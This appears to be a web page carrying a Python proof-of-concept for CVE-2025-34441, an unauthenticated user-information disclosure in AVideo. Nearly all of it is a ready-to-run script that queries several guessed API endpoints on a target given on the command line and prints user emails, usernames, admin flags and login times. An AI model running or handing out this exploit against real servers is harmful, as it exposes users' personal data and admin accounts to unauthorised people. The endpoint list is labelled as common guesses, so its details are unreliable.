CVE-2025-34441: AVideo未授权API用户信息泄露漏洞

import requests import json # CVE-2025-34441 PoC - AVideo Unauthenticated User Information Disclosure # Target: AVideo versions prior to 20.1 def exploit_avideo_user_enum(target_url): """ Exploit for CVE-2025-34441 Unauthenticated API endpoint exposes sensitive user information """ # Common vulnerable endpoints endpoints = [ '/api/v1/users', '/api/users/list', '/plugin/API/users.json', '/view/info.json' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-34441 - AVideo User Information Disclosure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint print(f"[*] Testing endpoint: {endpoint}") try: # No authentication required (PR:N) response = requests.get(url, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Success! Retrieved data from {endpoint}") print(f"[+] Response: {json.dumps(data, indent=2)}") # Check for sensitive fields if isinstance(data, list): for user in data: if 'email' in user or 'username' in user: print(f"[+] User Info: Email={user.get('email')}, " f"Username={user.get('username')}, " f"Admin={user.get('isAdmin')}, " f"LastLogin={user.get('lastLogin')}") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") except json.JSONDecodeError: print(f"[-] Invalid JSON response from {endpoint}") print("\n[-] No vulnerable endpoints found") return False if __name__ == "__main__": import sys if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-avideo-server.com" exploit_avideo_user_enum(target)